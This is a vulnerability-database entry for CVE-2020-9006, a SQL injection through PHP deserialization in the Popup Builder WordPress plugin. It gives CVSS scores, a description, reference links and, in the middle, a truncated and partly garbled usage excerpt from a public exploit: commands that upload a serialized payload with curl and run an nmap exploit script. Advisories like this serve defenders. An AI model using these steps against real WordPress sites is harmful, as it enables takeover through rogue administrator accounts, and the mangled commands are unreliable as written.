Published: 17/02/2020 Updated: 21/07/2021

CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10

CVSS v3 Base Score: 9.8 | Impact Score: 5.9 | Exploitability Score: 3.9

VMScore: 668

Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

The Popup Builder plugin 2.2.8 up to and including 2.6.7.6 for WordPress is vulnerable to SQL injection (in the sgImportPopups function in sg_popup_ajax.php) via PHP Deserialization on attacker-controlled data with the attachmentUrl POST variable. This allows creation of an arbitrary WordPress Administrator account, leading to possible Remote Code Execution because Administrators can run PHP code on Wordpress instances. (This issue has been fixed in the 3.x branch of popup-builder.)

Vulnerable Product	Search on Vulmon	Subscribe to Product
sygnoos popup builder

CVE-2020-9006: Wordpress Popup-Builder Plugin Exploit Usage: # Create and upload payload # Also see: php create-serialized-payloadphp -h $ php create-serialized-payloadphp | curl -F 'sprunge=<-' sprungeus sprungeus/XXXXXX # Run exploit $ nmap --script /cve-2020-9006 --script-args httpuseragent='Mozilla/50',payload-url='http:

CWE-89 CWE-502 https://zeroauth.ltd/blog/2020/02/16/cve-2020-9006-popup-builder-wp-plugin-sql-injection-via-php-deserialization/https://wordpress.org/plugins/popup-builder/#developers https://plugins.trac.wordpress.org/browser/popup-builder/tags/2.2.8/files/sg_popup_ajax.php#L69 https://wpvulndb.com/vulnerabilities/10073 https://nvd.nist.gov https://github.com/s3rgeym/cve-2020-9006

CVE-2020-9006

Vulnerability Summary

Vulnerability Trend

Github Repositories

References

Vulmon Search

About

Products

Connect